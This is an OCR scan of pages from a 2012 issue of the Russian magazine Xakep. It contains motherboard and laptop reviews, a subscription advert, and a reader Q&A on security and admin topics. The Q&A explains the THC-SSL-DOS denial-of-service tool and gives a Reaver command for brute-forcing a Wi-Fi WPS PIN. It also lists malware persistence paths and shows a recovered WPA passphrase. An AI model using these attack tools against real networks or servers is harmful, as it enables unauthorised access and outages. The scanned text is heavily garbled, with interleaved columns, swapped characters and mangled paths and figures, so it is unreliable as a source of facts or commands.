в совокупности с большим количеством них поколений превращает

в универсальное устройство.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ

ASRock А75 Рго4

ASUS F1A75-1 Deluxe

ASRockA75 Extreme6

FM1 1066-2400 МГц 1х РСI Express х16, 1х РСI Express х4, 2х РСI Express х1, 3х РСI 5х SATA3.0 7.1 СН НО Realtek ALC892 Realtek RTL8111E, 10/100/1000 Мбит/с

FM1 1066-2400 МГц 1х РСI Express х16, 1х РСI Express х8, 1х РСI Express х4, 1х РСI Express х1, 3х РСI 8х SATA3.0 7.1 СН НО RealtekALC892 Realtek RTL8111E, 10/100/1000 Мбит/с

Разъемы на задней панели:

1х O-Sub, 1х OVI, 1х HOMI, 4х USB 3.0, 2х USB 2.0, 1х eSATA, 1х FireWire, 1х S/POIF, 1х RJ-45, 1х PS/2, 5х audio

O-Sub, 1х OVI, 1х HOMI, 4х USB 3.0, 2х USB 2.0, 1х OisplayPort, 1х OVI, 1х HOMI, 2х USB 3.0, 4х eSATA, 1х FireWire, 1х S/POIF, 1х RJ-45, 1х USB 2.0, 1х eSATA, 1х FireWire, 1х S/POIF, 1х RJPS/2, 6х audio 45, 1х PS/2, 1х Bluetooth, 3х audio

Формфактор:

АТХ

АТХ

Сокет: Память : Слоты расширения: Дисковые контроллеры: Аудио: Сеть:

134

FM1 1066-1866 МГц 1х РСI Express х16 5х SATA 3.0 7.1 СН НО Realtek ALC892 Realtek RTL8111E, 10/100/1000 Мбит/с; Wi-Fi 802.11 bIg/n

Mini-IТX

ХАКЕР

02/157/2012


Позови

NA5

к себе

GIGABYТE GA-A75M-D2H

liI

ознакомимся с материнской платой

GIGABYTE GA-A75M-D2H.

Как видно по картинке, перед нами устройство формфактора тАТХ . Во многом из-за этого инженерам тайваньской компании

пришлось уменьшить число слотов

DIMM до двух.

Но порты для ОЗУ рас­

положены настолько близко к процессорному гнезду, что при использо­

вании габаритного кулера башенного типа киты попросту не поместятся. В ходе тестирования нам пришлось снимать систему охлаждения с кита

оперативки. Поэтому советуем внимательно отнестись к выбору системы о х лаждения

CPU.

Вторым недостатком разводки

GIGABYTE GA-A75M-D2H

мы считаем распаянные 5АТА-коннекторы . Но он проявится только при

использовании габаритной видеокарты . В остальном к столь миниа-

~

тюрной плате претензий по разводке нет. Назовите автора зтой статьи

с та ромодным , но как же приятно работать с прежним

BI05'OM от Award.

Привычный голубой экран, привычное меню М . I.т. и никакой поддержки мыши l Это, возможно, совпадение, но именно бюджетная материнская

плата GIGABYТE

GA-A75M-D2H

с таким

BI05'OM

продемонстрировала

достаточно неплохие результаты разгона . И зто при наличии скромных по сегодняшним меркам пяти фаз питания

CPU. При увеличении частоты 128 МГц «камень» заработал с частотой 128 х 28 = 3584 МГц, а память - с частотой 128 х 18,66 = 2388,5 МГц. Максимальная частота шины дос тигала 134 МГц. шины до

MSI A75MA-G55 ак получилось, что в сегодняшнем тесте участвовал всего

один продукт компании М51. Материнская плата М51

A75MA-G55

может постоять за себя, ведь на страже стабиль­

ности устройства, да и всей системы, стоит технология

11.

Military Class

Конечно , маркетологи наверняка постарались выставить всё в

ярком свете. Но в то же время тяжело отрицать эффективность япон­ ских твердотельны х конденсаторов и высококачественных злементов

...

питания. При зтом цена М51

Идем дальше.

BI05

A75MA-G55

весьма демократична.

материнской платы М51

A75MA-G55,

как пацан­

чик из Южного Бутово , четкий. Здесь нет расплывчатых понятий . Если и можно поднять частоту шины , то лишь до

128

МГц . Если и можно

поднять напряжение, то только на определенную величину, причем

не очень большую . В итоге уже чисто визуально заметно, что в плане оверклокинга много из этой платы не выжмешь . Тем не менее , на шине мы получили . Процессор заработал на частоте

МГц, а память

-

на частоте

115

х

18,66 = 2145,9

115 МГц 115 х 29 =3335

МГц.

с НИМИ ДЯДЬКА ЧЕРНОМОР ASUS F1A75-V PRO

GIGABYТE

GA-

MSI A75MA-G55

A75M-D2H

ВОТ парадокс: все устройства, которые мы тестировали, наверняка найдут своего покупа­ теля, хотя у нас и было к ним много претензий . В оправдание производителей можно сказать, что

FM1 1066-2250 М Гц 1 х PC I Е х р ге55 х 1 6, 1 х PCI Е хрге55 х4, 2х PCI Е х р ге55 х1, 3х PC I 7х 5АТА 3.0 7.1 СН НО Rea ltek ALC892 Realtek RTL811 1Е , 10/ 100/ 1000 М б ит/с

FM1 1066- 2400 МГц 1х PCI Е х р ге55 х16, 1 х PCI Е х р ге55 х4, 1 х PCI Е х рге5 5 х 1 , 1 х PCI 6х SATA 3.0 7.1 С Н НО Realtek ALC 889 Realtek RTL8111 Е , 10/100/1000 Мбит/с

FM1 1066- 1600 МГц 1 х PCI Е х рге55 х 1 6, 1 х PCI PCI Е х р ге55 х1, 1 х PCI

со временем, после пары-тройки перепрошивок Е х рге5 5 х4, 1 х

6х 5АТА3. 0

7.1 С Н НО RealtekALC 887 Realtek RTL8 111 E, 10/ 100/ 1000 Мбит/с

BIOS, всё

устаканится. Нам же остается раздать

награды. За великолепную производительность и замечательный оверклокерский потенциал приз «Выбор редакции» достается материнке

A5U5 F1A75-V PRO. 1х 0 - 5 и Ь, 1 х Oi5playPort, 1 х OVI, 1х HOMI, 4х US8 3.0, 2х US8 2.0, 1 х е5АТА, 1 х FireWire, 1 х 5/ POIF, 1х RJ45, 1 х Р5/2, 6х audio АТ Х

1 х 0- 5и Ь, 1 х

OVI, 1х HOMI, 2х US8 3.0, RJ- 45, 1х

1 х 0- 5 иЬ , 1 х

4 х U58 2.0, 1х 5/ POIF, 1х Р 5/2, 3х audio

U58 2.0,

m АТ Х

mАТ Х

OVI, 1х HOМl, 2х U58 3.0, 4х RJ-45, 1 х Р 512, 6х audio

Плата

GIGABYTE GA-A75M-D2H

при полном отсутствии конкурентов « загребает » титул « Лучшая покупка » . Также хочется отметить материнскую плату

GIGABYTE GA-A75-UD4H

за ее

уникальные способности в области разгона про­ цессора и оперативной памяти . I

ХАКЕР

02/157/2012

135


FERRUM

Сергей Никитин

Размер экрана: 17.3", 1920х1080 точек Процессор: Intel Саге i5-2410M, 2.4 ГГц

Оперативная память: DDR3-1333, 6 Гб ВИАеоплата: АМО Radeon 6650М, 2 Гб Жесткий АИСК: 500 Гб Сетевые возможности: Gigabit LAN,

Wi-Fi, Bluetooth 3.0 Дополиительно: 3D - очки Операционная система: Windows 7 х64 Габариты: 415.8х276.1х32 . 3х 37.9 мм Вес: 2.9 кг

WiпRАR: 2369 Кб/с Super Р; (16М): 330 с PCMark'05: 8788 баллов ЗDМагk Vantage: 4431 балла Rеsidепt Evil 5: 59 FPS

Call 01 Juarez: 21.5 FPS Alien VS Predator: 13 FPS Неаvеп Dragon: 12 FPS Battery Eater: 67 минут

SAMSUNG RF712-S01 УНИВЕРСАЛЬНЫЙ НОУТБУК ДЛЯ РАЗВЛЕЧЕНИЙ! Сего дняшние ноутбуки практиче ски ни в чем

и разрешением 1280хl024 точек. Время работы

и играть в любые современные игры . Спасибо

не уступают своим настольным собратьям .

от батареи проверялось с помощью утилиты

процессору

И это факт. Они собраны иэ мощных компо­

Battery Eater -

режим «к лассический ».

Саге

Intel

видеокарт е АМD

i5-2410M и дискретной Radeon 6650М.

нентов, поэволяющих запускать новейшие

игровые хиты. Они практичны и удобны в ис­

ПЕРВОЕ ЗНАКОМСТВО

И ЕЩЕ НЕМНОГО

пользовании. Кроме того в лэптоп подчас куда

Модель

легче внедрить какую-нибудь интересную тех­

и внушительно , но при этом не производит впе­

нологию. Например, ноутбук

Samsung RF712

выглядит солидно

Как и у других устройств от ли

RF712

Samsung,

у моде­

есть много дополнительных фишек.

чатления скучного ноутбука. У него симпатич­

Некоторые из ни х не только весьма интересны,

может, помимо всего вышеперечисленного , по­

ный, современный дизайн . На наш взгляд очень

но и полезны. Например, возможность подза­

хвас таться еще и возможностью работы с ЗО!

удачно выполнена подсветка клавиш. Допол­

рядки различных мобильных USВ-устройств

няет общее позитивное впечатление большой

от соответствующего порта компьютера, даже

дисплей . О нем стоит рассказать особо, так как

если он выключен. Или вот функция ускорен­

Для про верки того, на что способен этот

производительпозиционируетегокак«самый

ного выхода из спящего режима . Несомненно,

мобильный компьютер, мы применили нашу

яркий ноутбу чный дисплей в мире ». Кроме того ,

к приятным моментам относится и весьма

спе циально разработанную для таких случаев

одев идущие в комплекте 3D-очки и, запустив

солидный набор программнога обеспечения,

Samsung RF712

МЕТОДИКА ТЕСТИРОВАНИЯ

ме тодику. Она состоит из трех групп программ

соответствующую игру или фильм , ты получишь

который идет с

-тех, которые вычисляют производитель­

трехмерную картинку. Думаем, про актуаль­

поставки .

наст ь связки процессор-память, синтети­

ность зо лишний раз напоминать не стоит.

Вообще же,

ческих бенчмарков и настоящи х игровых

Samsung RF712

оснащен практи­

Samsung RF712

в комплекте

.:111:1.1.

приложений. В первую группу вошли тест,

чески всеми новейшими технологиями. К услу ­

Ноутбук

встроенный в архиватор

гам пользователя будет доступен :

интересным. Он под завязку набит новейши­

Super Pi . Вторая представлена продуктами Futuremark: PCMark'05 и 3DMark Vantage . А в игровую группу вошли тесты Resident Evil 5, Call 01 Juarez, Alien Vs. Predator и Heaven . Они

та 801.11п,

ми технологиями, современным «же лезом »

запускались с параметрами по умолчанию

ми, на нем можно как комфортно работать, так

136

WinRAR, и

утилита

3.0.

Wi-FI стандар­ привод Blu-Ray, USB 3.0 и Bluetooth

Ну а про современное «же лезо » И говорить

нечего . Все тесты производительности

RF712 завершил

Samsung

с весьма хо рошими результата­

Samsung RF712

получился очень

И прочими вкусностями. Да, пожалуй, перед

тобой действительно идеальный ноутбук для развлечений . Осталось проверить, готов ли попкорн в микроволновкеl:::J:

ХАКЕР

02/157/2012


(gameJland ЖEl\EЗО;

ПОДПИШИСЬ! shop.glc.ru Редакционная подписка без посредников это

гарантия

получения

журнала и экономия до

важного для

400/0

-

Вас

от розничной

цены в киоске

6 номеров - 111 О руб. 13 номеров - 1999 руб.

6 13

номеров

6 13

номеров

6 13

номеров

номеров

номеров

номеров

6 номеров - 111 О руб. 13 номеров - 1999 руб.

-

564 руб. 1105 руб.

6 номеров - 111 О руб. 13 номеров - 1999 руб.

-

630 руб. 1140 руб.

6 13

-

690 руб. 1249 руб.

6 13

номеров номеров

номеров номеров

8-800-200-3-999 +7 (495) 663-82-77 (бесплатно)

6 13

номеров номеров

-

81 О руб. 1499 руб.

-

895 руб. 1699 руб.

6 номеров - 1194 руб. 13 номеров - 2149 руб.

-

775 руб. 1399 руб.

6 13

номеров номеров

-

950 руб. 1699 руб.

6 номеров - 111 О руб. 13 номеров - 1999 руб.

6 13

номеров

6 13

номеров

номеров

номеров

-

894 руб. 1699 руб.

-

81 О руб. 1499 руб.


UNITS I FAQ UNITED

Степан Ильин

Itwtitter.com/stepah!

FAQ United ЕСТЬ ВОПРОСЫ НА

r.t

ПРИСЫЛАЙ

FAQri1REAL.XAKEP.RU

ПОСЛЕДНЕЕ ВРЕМЯ ВСЕ ЧАЩЕ

~ ГОВОРЯТ О ПЕРЕХВАТЕ ДАННЫХ, КОТОРЫЕ ПЕРЕДАЮТСЯ НЕ ТОЛЬКО

ПО

55L [КСТАТИ, СПАСИБО ВАМ ЗА КЛАССНЫЕ МАТЕРИАЛЫ В #11/11

Если это так, то уязвимы и те сервисы, которые

к нему 2,5-дюймовым диском, и отсоединить

поддер жи ваюттак называе мую процедуру

сам диск . При этом могут возникнуть пробле­

Secure Renegotiation, однако, в паблике зкс­ плоита нет. Утилита sslyze выполняет та кже

мы с перегревом . И хо тя практический опыт показывает, что отдельные экземпляры могут

несколько других про верок уровня безопас­

продолжительное время нормально работать

ностиSSL : позволяет выявить использование

без радиаторов , помни, что ты делаешь это

НОМЕРЕ], НО И НА САМ 55L-ДЕМОН. ЕСТЬ ДАЖЕ УТИЛИТА THC-55L-D05 [WWW.THC. ОRG!ТНС-55 L-DО 5 ] ДЛЯ ВЫЗОВА ОТКАЗА

слабых шифров, определяет версию протокола ·

на свой страх и риск и дополнительное

[SSLv2, SSLv3 и TLSv1! и про водит валидацию

охлаждение всё-таки желательно. К слову,

В ОБСЛУЖИВАНИИ. В ЧЕМ СОЛЬ? ВЕДЬ

сертификата.

о диска х повышенной надёжно с ти . Специали­

ТНС ФИГНЮ НЕ РЕЛИЗИТ!

8:tI

r,.

сты по восстановлению данных не зафиксиро­

ЧИТАЛ ГДЕ-ТО, ЧТО ВИНЧЕСТЕРЫ

DDoS SSL-Аемона довольно W проста. Суди сам: установка защищенно­ го SSL-соединения требует на сервере в 15 раз

. . . ДЛЯ СЕРВЕРОВ ДЕЛАЮТСЯ БОЛЕЕ

больше ресурсов, чем на клиенте. Соответ­

ПРОВЕРКА НА ВСЕХ ЭТАПАХ

Идея вызвать

вали более -менее заметной повышенной надёжности у 3,5-дюймовых дисков , которые

НАДЕЖНЫМИ [СНИЖЕННАЯ СКОРОСТЬ

позиционируются производителями как диски

ВРАЩЕНИЯ ДИСКОВ, БОЛЕЕ СТРОГАЯ

повышенной надёжности.

ственно, THC-SSL-DOS [www.thc.org/thc-ssl-dos]

ПРОИЗВОДСТВА И Т. Д . ! . ВОПРОС : А ЕСТЬ

использует зту пропорцию , чтобы вызвать отказ

ЛИ В ПРОДАЖЕ ВНЕШНИЕ НАКОПИТЕЛИ

r,.

в обслуживании. На деле используется всего

НА 2,5-ДЮЙМОВЫХ ВИНЧЕСТЕРАХ

ВЫ УЖЕ ДОВОЛЬНО MHqrO ПИСАЛИ . . . ПРОЗЛОВРЕД,КОТОРЫИ ПРОПИСЫВАЕТ СЕБЯ В WINDOW5-

один ТСР-пакет, чтобы начать процесс

SSL

[ПРЕДНАЗНАЧЕННЫХ ДЛЯ СЕРВЕРОВ]

СИСТЕМЫ . В БОЛЬШИНСТВЕ СЛУЧАЕВ Я

hапdshаkеs с сервером. Та вер сия утилиты,

ИЛИ ЖЕ В СЕРВЕРАХ ИСПОЛЬЗУЮТСЯ

ПРЕДСТАВЛЯЮ , ГДЕ ИСКАТЬ СЛЕДЫ

которая доступна в паблике, может вызвать

ТОЛЬКО 3,5-ДЮЙМОВЫЕ ЖЕСТКИЕ

МАЛВАРИ . НО ВОТ ГДЕ МОЖЕТ

DDoS тех

ДИСКИ?

сервисов, которые поддерживают

ПРОПИСАТЬ СЕБЯ ВИРУС В СИСТЕМАХ

LINUX

ус тановку соединения со стороны к лиента

[сliепt-iпitiаtеd

renegotiations!. Выяснить зто можно с помощью другой утилиты sslyze [code. google .com/p/sslyze]:

...

181

Среди жестких дисков формфактора

2,5", в отличие от 3,5 -дюймовы х жестки х

дисков, производители не выделяют модели

повышенной надёжности . Серверные диски формфактора Если в графе напротив

client-ini tiated renegotiations будет значение Honored, значит,

2,5"

И

05

Х, ЧТОБЫ ОСТАТЬСЯ

В СИСТЕМЕ ПОСЛЕ ПЕРЕЗАГРУЗКИ?

8:tI W

В UNI Х-сис тема х его нужно искать

в следующих папках:

существуют, как и корзины

под них, но в се они относятся к типу SAS [Serial Attached SCSI] и немного толще обычных.

L)!.<!rj;~JI.1;i!J!~j5.\J. s_e.r.!1"me..~.. _.._....................... _.......... . 1.e.:t;:.IJ1;:t;:y~............................................................................. .

Получить 2,5-дюймовый серверный SАТА-диск

1..е.:t;:.с.!.рсQfйе. ................................. _.....................................

сервис уязвим. По сло вам разработчиков,

можно, взяв НDD семейства

Le.J~i.b.<J_~.b.c_c..........................................................................

сегодня проблема затрагивает все реализа­

VelociRaptor,

ции SSL [хотя известно о ней еще с 2003 года!.

3,5-дюймовый радиатор с прикреплённым

Western Digital

который пред ставляет собой

i.e.th/.cs_b..,_c_s.b.c.c.......................... _ ..................................... Le.Js;js;.~!J.J.Qgi.n.................................................. _ .............

5 ШАГОВ: ИСПОЛЬЗУЕМ DROPBOX КАК БЕСПЛАТНЫЙ ХОСТИНГ

rn J

овольная бредовая идея

-

использо­

вать DгорЬо х для хос тинга -

работа­

ет и набирает популярность. А что ?

1

Проще всего, конечно, со статическим

саЙтом. Ты просто бе решь все файлы

проекта [НТМ L, CSS, Ja va Script-

Никакой мороки с регистрацией, никакого

сценарии! и забрасываешь их в директорию

геморроя с редактированием файлов

PubIic,

и о тправ кой и х на сервер [все дела е тся внутри папки DгорЬох! , у сервиса практически гарантированный аптайм 99,9 % [спасибо Amazon S3!- короче говоря, почему бы и нет?

ное меню рuЫi с-ли нк для домашней страницы

138

после чего получаешь через ко нте кст­

2

Казалось бы, если c~eДOBaTb логике , топриоткрытииэтоиссылкипол~

зователю будет предложено скачать

inde x.html.

Н о нет. DгорЬо х устроен так, что

будет отдавать тако й контент, как и любой дру­ гой х остинг. Страница откроется! Некрасивую

[скажем, inde x. html! вроде этого:

сс ыяку можно сократить с помощью сервиса

http:Udl. dropbox .com/u/2 131O/site/in dex.h tm l.

типа

bi t. ly и

ему подобны х.

ХАКЕР

02/157/2012


FAQ UNITED

/e.t~/r._<;_ , _<;.Qmro9д

_____________________________________________________________ _

~J.,pr-QfiJ-e------------------------------------------- ______________________________ _ ~ / ,J~_<!~_hr._<;

В

OS

БОЛЬШОЙ ВОПРОС

______________________________________________________________________ _

Х он может скрываться здесь : СУЩЕСТВУЮТ ЛИ БОЛЕЕ эф­

Q

L$у~:t;_еПJ/цJ).r.i!.ry/!..•Н!JJ~_hQ_Q_еmQ.r1~ ______________ _

L5y ~J;еl1!/1,,1Qr:_<!r.у.L_Е_ х.tел~JQЛ~ ...... _____ .___________ .. _.. _._ .. L. !.JQ.r::<!r.удi!J,ю<;Ь_I;!i!е_ПJ.Q!1~ ____________________ ._____________________ _ /..$уs_:t; _~ro/..I.,JRr_i!rу.L.!.i!_у!1<;ы\gшts ______________________________ _ L.!.JR_r.i!гу/!.-9. ул~.t1~gеJJ-:t;-~.. -.-.------.----------------_______________ _ L.!.1Qr._<!r.у{$:t;_"r.tYl;й.tеm~ ___ ._____________________________________ _ /..ц];>_г.i!.г.уjР.rе.fегел!;_~~л.9gJоwj,лQj~w_,_рJt.~,:t; ____ _ ~/..ц_Qr_Q.г.уд_<!ущ_hAgел:t;_~ ___ .. ____ ..... _____ .. __ .. _________ .... __ .___ _ _ ~j !,JR.ri!.r::y/P.r.e.f,g.r::eJJ_~_e.n.QgiJJJ:t_~!!1.~ _.plj,~,:t; ______ .

'то есть фактически в устройстве), которые

ФЕКТИВНЫЕ СП_ОСОБЫ ВЗЛОМА

можно эксплуатировать. Протокол

БЕСПРОВОДНОИ WI-FI-СЕТИ,

оказался уязвимым к брутфорс-атакам ,

ЗАЩИЩЕННОЙ WPA!WPA2? МЫ ЖЕ ВСЕ ПОНИМАЕМ, ЧТО ПРИ ДОСТАТОЧНОЙ СЛОЖНОСТИ И ДЛИНЕ ПАРОЛЬНОЙ

добрать

ФРАЗЫ ПЕРЕБОР МОЖЕТ ДЛИТЬСЯ

фразу

ВЕЧНО.

но, всего за нескольких часов! Уязвимость

которые позволяет злоумышленнику по­

А

Но зто, скорее, касается зловреда, который

WPS PIN,

используемый точкой

доступа,И,соответствеННО,парольную

WPA/WPA2,

«живет »

~/I.,JRr._"rуLР.г..~f_~г..~rКе/),.9.giлwj,JJ.QQ_w_~_,_ рJj,-!;:t;----

WPS

причем, что очень важ­

на самом низком уровне, в самом

протоколе . Это промах его разработчиков.

До недавнего времени я бы ска­

зал , что никаких других СПОС~БОВ

В паблике доступна утилита

подключиться к защищеннои

ly/uAaS67), которая уже

Reaver 1Q.iL

работает вполне

беспроводной сети, кроме как использо­

стабильно и протестирована для большин­

вать брутфорс , не существует. Собственно ,

ства точек доступа и реализаций прото­

малварь может сделать бэкдор прямо в ядре

способы взлома непосредственно

кола

системы:

WPA2

работает в

user mode.

Изящно написанная

WPA!

WPS.

Использовать ее очень просто:

нужно лишь указать целевую

остались неизменными , однако

BBSID

'ее

получить доступ к защищенной беспро­

МАС-адрес) и интерфейс Iкоторый пред­

L5у~tе!11дiRr"r:У/..с."фе-~jц)m~<!ррJ~_.Jеше1<;_9c;hе_s_

водной сети можно, воспользовавшись

варительно нужно перевести в режим

/.$у~.tе!11L_~JQr.i!rуI!'1!.е~у-~,:t;E!ПJ~LАР.р1~$hjJг_еJ. _____ .___ _

обходным путем, но только в том случае,

монитора), который будет слушать эфир:

/$y~:t;e!11Jb;lI;>.r<!r.y /ЕЦе_~У.~:t;em~LЬf~,_f.~До!;QQj,оgsj

если в ней применяется очень популяр­ rе_"У.еr.. __:j,__ .ro9л~_._.:_Q .jЩ ; el_;_~;2_ ;_~} _:.04_;_!'j_5_

ная сегодня технология

А еще более искусно созданные образцы

что

WPS. Напомню, Wi-Fi Protected Setup - это стандарт,

задействуют расширения ЕFllактуально для

который позволяет легко установить дома

Помимо этого, автор предлагает коммер­

современных Мас'ов, построенных на платфор­

защищенную беспроводную сеть на базе

ческую версию с несколькими полезны­

ме

WPA2.

Intel).

Идея в том , что пользователю

ми фичами и улучшениями, касающимися

не нужно заморачиваться с настройкой

скорости подбора . Атаковать можно

защиты и вводом длинных парольных

практически любой современный роутер ,

фраз, когда он добавляет в беспроводную

в котором

ЗАНОВО СИСТЕМУ СТАВИТЬ НЕ ХОЧУ,

сеть новое устройство,

нию ,

ПОЭТОМУ СОБИРАЮСЬ СДЕЛАТЬ КЛОН.

максимально упрощается. Используются

миру! Более подробнее об атаке ты

восьмизначные PIN-КОАbI. До недавне-

можешь прочитать в этом AOKYMeHTe: .biL ly/uAaS67. Помимо геауег, есть еще один РоС Ibit.ly/u3mTX F), реализующий атаку,

r.t .:..

СДЕЛАЛ АПГРЕЙД И ПРИОБРЕЛ СЕБЕ SSD ДЛЯ СИСТЕМНОГО ДИСКА.

СЛЫШАЛ, ЧТО ЕСЛИ СТАВИТЬ

НА

SSD,

WINDOWS 7

ТО УСТАНОВЩИК САМ ПОПРАВИТ

КАКИЕ-ТО ПАРАМЕТРЫ . ПОДОЗРЕВАЮ,

безопасной , но в декабре сразу несколько

НЕ ПРОИЗОЙДЕТ. ТАК ЧТО ЖЕ НАДО СДЕЛАТЬ, ЧТОБЫ SSD НЕ УМЕР УЖЕ ЧЕРЕЗ ГОД?

181

но эта утилита пока работает не со всеми

ее

Network

Windows 7

отключать механизмы, которые часто

производят запись Iнапример, Superfetch или Application launch prefetching) . Как ОС

Туре:

138

Кеу :

72 65 61 6С 6С 79 6Е 67 5F 77 713 61 65 5F 67 6F 6F 64 68 69 6Е 67 5F 74

Кеу \~ rap

отреагирует после клонирования, сложно

включена по умолча-

Wi-Fi-адаптерами .

13131313 1313113 013213 01330

довольно умна в этом плане и сама умеет

WPS

это миллионы девайсов по всему

исследователей безопасности рассказали

Encryptlon

производители советуют снизить

-

о неустранимых промахах в ее стру к туре

13131313

Чтобы минимизировать износ диска,

к оличество операций записи.

весь процесс

го времени эта технология считалась

ЧТО В СЛУЧАЕ КЛОНИРОВАНИЯ ЭТОГО

...

-

5F 72 5F 70 5F 6С 68 69

65 61 75 73

61 6С 6С 79 5F 6С 6F 73 73 70 68 72 61 73 63 68 5F 63 72 61 63 5F 6F 6Е 65

really_really_lo ng_wpa_passphras e_good_luck_crac king_this_one

Algori thm:

Для подключения к сети

WPS используется восьмизначный PIN. Сначала брутфорсится его первая часть, потом WPA2!

вторая, и в конце концов извлекается парольная фраза

3

Увы, динамические сценарии на таком хостинге выполнить не получится,

а вот при крутить

CMS можно благо­ даря сервису droppag es.co m. Скачиваем с последнего тему для сайта Iнапример, demo. droppages.com.zip), после чего распаковываем архив в папку вроде your_site.droppages.com. Очень скоро здесь будет саЙт.

ХАКЕР

02 / 157/ 2012

В

Структура состоит из трех папок :

5

Далее используем стандартную воз­

Content 'контент сайта в текстовом виде), PubIic !статический контент) и Templates IНТМL-файлы, используемые для

droppages.com . После

оформления страницы). Ты можешь настроить

обрабатывать твои файлы с контентом и ша­

шаблоны под себя и разметить текст 'В папке Content! с помощью специальной разметки и

блонами и отдавать сформированные

ключевых слов .

даже при вязать сайт к домену.

можность для расшаривания папок

и предоставляем доступ

serverl ГCJ

этого сервис сможет

HTMLстраницы . За небольшую денежку можно

139


UNITS I FAQ UNITED сказать, поэтому рекомендую проверить

значения параметров

EnabIeSuperfetch

и

EnabIePrefetcher в ветке Н КЕУ_LOCAL_MACH 1NE\SYSTEM\ CurrentControISet\Control\Session М anager\ Метогу Management\PrefetchParameters. Не­

r,I

ВО ВРЕМЯ ПРЕЗЕНТАЦИЙ ЧАСТО

_.

. . . ВИДЕЛ,КАКДОКЛАДЧИК

ТО

НАЖИМАЕТ КАКОЙ-ТО ХОТКЕЙ

SK up iI network,

ty~

the S-digit PIN rrom the router I~bel

you ...... &ocItht-": ...... IIЬ8IМlaINodlolhe 1'OI/kf'00;",u.pmtcd~tjonth&t_ffamtht

И УВЕЛИЧИВАЕТ ОПРЕДЕЛЕННУЮ ЧАСТЬ ЭКРАНА,ЧТОБЫПРОДЕМОНСТРИРОВАТЬ ЧТО-ТО В ДЕТАЛЯХ . КАК ЭТО ДЕЛАЕТСЯ?

которые также рекомендуют отключить очист­

Проще всего использовать утилиту

ку swар-фаЙла. Делается это в разделе НКЕУ_

...

LO СА L_ М АС Н 1NE\SYS ТЕ М\С u гге ntCo п! го IS et\ Control\Memory Management\: нужно задать ключу ClearPageFileAtShutdown значение О.

181

Помимо этого, нужно убедиться, что работает

этого, на увеличенном изображении можно

команда

сразу что-то нарисовать .

TRIM,

позволяющая операционной си­

стеме уведомлять твердотельный накопитель о том, какие блоки данных больше не исполь­ зуются и могут быть очищены накопителем са­ мостоятельно. Выяснить это можно с помощью

Zoomlt Ibit .ly/uULrOd ] от Марка Руссино­

вича . Она тихо сидит в трее и как раз по хоткею увеличивает выбранную часть экрана. Помимо

r,I

КАК МОЖНО НАСТРОИТЬ ФАЙЕРВОЛ

. . . В LINUX, ЧТОБЫ ПРЕДОТВРАТИТЬ БРУТФОРС-АТАКИ НА SSH?

ввести восьмизначный

...

181

PINo И

WPS достаточно

его можно сбрутфорсить!

Советую тебе скачать GitPad I~ github.com/githubIgitpad]. Это небольшое

приложение, которое конфигурирует систему

так, чтобы в качестве стандартного редактора

команды:

... fsutil behavior query DisableDeleteNotify Если в выводе значение

значит,

Для подключения к WРА2-сети с помощью

TRIM

DisabIeDeleteNotify,

включен. Но только на уровне

ос. Поэтому надо убедиться, что

TRIM под­ держивается драйвером Iчаще всего RAIDконтроллера или стандартного MSAHCI] .

Никогда бы не подумал, что столько

Можно подключить, скажем,

для SSH-Аемона никому не нужного сервера,

этого внесем изменения в конфиг

неудачных попыток входа каждый день­

вполне традиционная картина . Большинство таких попыток можно отсечь, просто перенеся

демон на какой-нибудь нестандартный порт

22]. Другой вариант - пра­ iptabIes. Опытные линуксои­

вильно настроить

ды рекомендуют следующий рецепт:

ПОСЛЕДОВАТЕЛЬНОСТЬ ДЕЙСТВИЙ В WINDОWS-СИСТЕМЕ?

Готовых решений для Python'a не так уж и много. Среди полезных библиотек можно выделить pywinauto !code.google.com/p/ pywinauto], которая специально предназначе­

.".

W

на для GUI-автоматизации . Сценарии получаются очень наглядными и не требуют комментариев :

from pywinauto import application арр = application,Applicationo start( "notepadoexe" ) appoNotepadoMenuSelect( "Help->About Notepad" ) appoAboutNotepadoDKoClick() appoNotepadoEditoTypeKeys ( "pywinauto Works!" , with_spaces=True) Подробный мануал есть на офсайте

Ipywinauto.goog lecode.com/hg/pywinauto/docs/ index.html ]. Установить библиотеку тоже не со­

Notepad++. Git'a:

Для

пока не посмотрел в его логи. Несколько тысяч

!СО стандартного

r.I МОЖНО ЛИ С ПОМОЩЬЮ PYТHON­ ~ СКРИПТОВ АВТОМАТИЗИРОВАТЬ

использовался самый обычный « Блокнот».

181 людей пытаются сбрутфорсить пароль

git config --global coreoeditor \ о . . С : \\Program Files (х86) \\Notepad++ \\ notepad++oexe' -multiIпst -notabbar -nosession -поРlugiп''

r.I НУЖНО СГРАББИТЬ ДАННЫЕ ~ СНЕКОТОРОГО САЙТА, КОТОРЫЕ ОН ВЫДАЕТ В РЕЗУЛЬТАТЕ ПОИСКА ПОСЛЕ

iptables -Р INPUT DRDP iptables -д INPUT -т state \ --state ESTABLISHED,RELATED -j дССЕРТ iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW \ -т recent --set --пате SSH iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW \ -т recent --update --seconds 60 \ --hitcount 4 --rttl --пате SSH -j DROP iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW -j дССЕРТ

ВВОДА НЕКОТОРЫХ ПАРАМЕТРОВ . МОЖНО

ЛИ ОБОЙТИСЬ БЕЗ ПРОГРАММИРОВАНИЯ?

...

Самый крутой способ, который меня

181 не раз выручал - это воспользоваться сервисом

open .dapper.net

от

Yahoo.

Подход

удивляет своей простотой :

10

Ты указываешь сервису URL-сайта, с которо­ го хочешь извлечь информацию. Оаррег. пе! открывает его внутри своего собственного движка и приступает к анализу .

20

Далее ты осуществляешь нужные переходы по сайту и, главное, отмечаешые поля, кото­

После этого хосты, пытающиеся перебирать пароль, будут блокироваться: все

IP

рые необходимо заполнить . Каждому из них

из черного

можно задать имя, скажем,

списка будут фиксироваться в файле /proc/net/

указать~гозначения.

ipt_recent/SSH.

r,I

«variabIe 1»-

когда будешь запускать скрипт, ты сможешь Зо

С НЕДАВНЕГО ВРЕМЕНИ IK СЛОВУ,

В конце концов, когда появляются элементы сайта с нужными данными, ты обознача­

. . . ПОСЛЕ ПРОЧТЕНИЯ СТАТЬИ «GIT&&GITHUB: С МЕСТА В КАРЬЕР » ]

ешь структуру. Если, скажем, это выборка фильмов, то кликаешь на название фильма

НАЧАЛ ИСПОЛЬЗОВАТЬ СИСТЕМУ

и в поле вписываешь « Название фильма » ,

ставит труда:

УПРАВЛЕНИЯ ВЕРСИЯМИ

далее кликаешь на рейтинг и добавляешь

